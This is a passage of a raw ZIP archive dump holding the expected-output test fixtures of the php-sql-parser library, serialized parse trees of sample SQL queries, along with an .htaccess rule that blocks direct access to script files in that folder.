0;}i:6;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:3:"@t3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t3";}}s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \w-GF  F  L  vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns1.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:21:"FAILED_LOGIN_ATTEMPTS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:21:"FAILED_LOGIN_ATTEMPTS";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:21:"FAILED_LOGIN_ATTEMPTS";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"ip";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ip";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:14:"'192.168.50.5'";s:8:"sub_tree";b:0;}}}PK     \,>N    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue94.serializednu [        a:1:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:10:"next_month";s:9:"base_expr";s:13:"AS next_month";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"next_month";}}}s:9:"base_expr";s:8:"DATE_ADD";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"NOW";s:8:"sub_tree";b:0;}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:17:" INTERVAL 1 MONTH";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"INTERVAL";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"MONTH";s:8:"sub_tree";b:0;}}s:5:"alias";b:0;}}s:5:"delim";b:0;}}}
a:1:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:10:"next_month";s:9:"base_expr";s:13:"AS next_month";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"next_month";}}}s:9:"base_expr";s:8:"DATE_ADD";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"NOW";s:8:"sub_tree";a:0:{}}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:17:" INTERVAL 1 MONTH";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"INTERVAL";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"MONTH";s:8:"sub_tree";b:0;}}s:5:"alias";b:0;}}s:5:"delim";b:0;}}}PK     \ >U  U  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue74e.serializednu [        a:1:{s:4:"DROP";a:4:{s:9:"expr_type";s:5:"table";s:6:"option";s:8:"RESTRICT";s:9:"if-exists";b:0;s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:5;}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:12:"blah1, blah2";s:8:"sub_tree";a:2:{i:0;a:7:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"blah1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"blah1";}}s:5:"alias";b:0;s:9:"base_expr";s:5:"blah1";s:5:"delim";s:1:",";s:8:"position";i:11;}i:1;a:7:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"blah2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"blah2";}}s:5:"alias";b:0;s:9:"base_expr";s:5:"blah2";s:5:"delim";b:0;s:8:"position";i:18;}}s:8:"position";i:11;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"RESTRICT";s:8:"position";i:24;}}}}PK     \pH	6  6  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue54.serializednu [        a:6:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"as b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}s:9:"base_expr";s:16:"schema.`table`.c";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:3:{i:0;s:6:"schema";i:1;s:5:"table";i:2;s:1:"c";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"p";s:9:"base_expr";s:4:"as p";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"p";}}}s:9:"base_expr";s:3:"sum";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:16:"id + 5 * (5 + 5)";s:8:"sub_tree";a:5:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}i:4;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(5 + 5)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}}s:5:"alias";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"schema.table";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:6:"schema";i:1;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"schema.table";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}s:5:"GROUP";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:8:"sub_tree";b:0;}}s:6:"HAVING";a:3:{i:0;a:4:{s:9:"expr_type";s:5:"alias";s:9:"base_expr";s:1:"p";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"p";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"10";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:1:{i:0;a:4:{s:9:"expr_type";s:5:"alias";s:9:"base_expr";s:1:"p";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"p";}}s:9:"direction";s:4:"DESC";}}}PK     \P  P  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue91.serializednu [        a:2:{s:6:"SELECT";a:2:{i:0;a:5:{s:9:"expr_type";s:8:"reserved";s:5:"alias";b:0;s:9:"base_expr";s:8:"DISTINCT";s:8:"sub_tree";b:0;s:5:"delim";s:1:" ";}i:1;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";b:0;s:9:"base_expr";s:11:"colA * colB";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"colB";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colB";}}s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:9:"base_expr";s:1:"t";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test t";s:8:"sub_tree";b:0;}}}PK     \^̧,#  #  H  vendor/greenlion/php-sql-parser/tests/expected/parser/nested1.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:2:{i:0;a:9:{s:9:"expr_type";s:16:"table_expression";s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:28:"t1 LEFT JOIN t2 ON t1.a=t2.a";s:8:"sub_tree";a:2:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t1";s:8:"sub_tree";b:0;s:8:"position";i:27;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t1.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:1:"a";}}s:8:"sub_tree";b:0;s:8:"position";i:46;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:50;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t2.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:1:"a";}}s:8:"sub_tree";b:0;s:8:"position";i:51;}}s:9:"base_expr";s:15:"t2 ON t1.a=t2.a";s:8:"sub_tree";b:0;s:8:"position";i:40;}}s:8:"position";i:27;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t3";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t2.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:1:"b";}}s:8:"sub_tree";b:0;s:8:"position";i:107;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:111;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t3.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t3";i:1;s:1:"b";}}s:8:"sub_tree";b:0;s:8:"position";i:112;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"OR";s:8:"sub_tree";b:0;s:8:"position";i:117;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t2.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:1:"b";}}s:8:"sub_tree";b:0;s:8:"position";i:120;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IS";s:8:"sub_tree";b:0;s:8:"position";i:125;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"NULL";s:8:"sub_tree";b:0;s:8:"position";i:128;}}s:9:"base_expr";s:48:"t3
                 ON t2.b=t3.b OR t2.b IS NULL";s:8:"sub_tree";b:0;s:8:"position";i:84;}}}PK     \T^	  	  J  vendor/greenlion/php-sql-parser/tests/expected/parser/issue136a.serializednu [        a:3:{s:4:"WITH";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"subquery-factoring";s:9:"base_expr";s:115:"myTableName AS (
                select firstname, lastname from employee where lastname = 'test'
                )";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:15:"temporary-table";s:4:"name";s:11:"myTableName";s:9:"base_expr";s:11:"myTableName";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"myTableName";}}s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"AS";s:8:"position";i:17;}i:2;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:100:"(
                select firstname, lastname from employee where lastname = 'test'
                )";s:8:"sub_tree";a:3:{s:6:"SELECT";a:2:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"firstname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"firstname";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:45;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"lastname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"lastname";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:56;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"employee";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"employee";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"employee";s:8:"sub_tree";b:0;s:8:"position";i:70;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"lastname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"lastname";}}s:8:"sub_tree";b:0;s:8:"position";i:85;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:94;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"'test'";s:8:"sub_tree";b:0;s:8:"position";i:96;}}}s:8:"position";i:20;}}s:8:"position";i:5;}}s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"firstname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"firstname";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:144;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:11:"myTableName";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"myTableName";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:11:"myTableName";s:8:"sub_tree";b:0;s:8:"position";i:159;}}}PK     \Sʉ      ?  vendor/greenlion/php-sql-parser/tests/expected/parser/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \|K\  \  H  vendor/greenlion/php-sql-parser/tests/expected/parser/delete3.serializednu [        a:3:{s:6:"DELETE";a:2:{s:7:"options";b:0;s:6:"tables";a:2:{i:0;s:2:"t1";i:1;s:2:"t2";}}s:4:"FROM";a:3:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t1";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t2";s:8:"sub_tree";b:0;}i:2;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t3";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t3";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t1.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t2.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t2.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t3.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t3";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}}}PK     \PG]  ]  L  vendor/greenlion/php-sql-parser/tests/expected/parser/issue_git24.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IN";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:7:"in-list";s:9:"base_expr";s:12:"(0,-1,-2,-3)";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"-1";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"-2";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"-3";s:8:"sub_tree";b:0;}}}}}PK     \C&    G  vendor/greenlion/php-sql-parser/tests/expected/parser/union1.serializednu [        a:1:{s:5:"UNION";a:2:{i:0;a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";s:8:"position";i:22;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test a";s:8:"sub_tree";b:0;s:8:"position";i:17;}}}i:1;a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"colB";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colB";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:53;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"as b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"position";i:77;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:18:"test 
        as b";s:8:"sub_tree";b:0;s:8:"position";i:63;}}}}}PK     \~|
  
  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33h.serializednu [        a:2:{s:6:"CREATE";a:5:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:7;}}s:8:"position";i:7;}s:5:"TABLE";a:6:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:18:" (a varchar(1000))";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:15:"a varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"position";i:21;}i:1;a:8:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:4:"1000";s:8:"position";i:23;}i:1;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1000)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1000";s:8:"position";i:31;}}s:8:"position";i:30;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;s:8:"position";i:23;}}s:8:"position";i:21;}}s:8:"position";i:19;}s:7:"options";a:3:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:10:"ENGINE=xyz";s:5:"delim";s:1:",";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";s:8:"position";i:38;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"position";i:44;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"xyz";s:8:"position";i:45;}}s:8:"position";i:38;}i:1;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:14:"COMMENT='haha'";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"COMMENT";s:8:"position";i:49;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"position";i:56;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"'haha'";s:8:"position";i:57;}}s:8:"position";i:49;}i:2;a:5:{s:9:"expr_type";s:9:"collation";s:9:"base_expr";s:35:"DEFAULT COLLATE = latin1_german2_ci";s:5:"delim";s:1:" 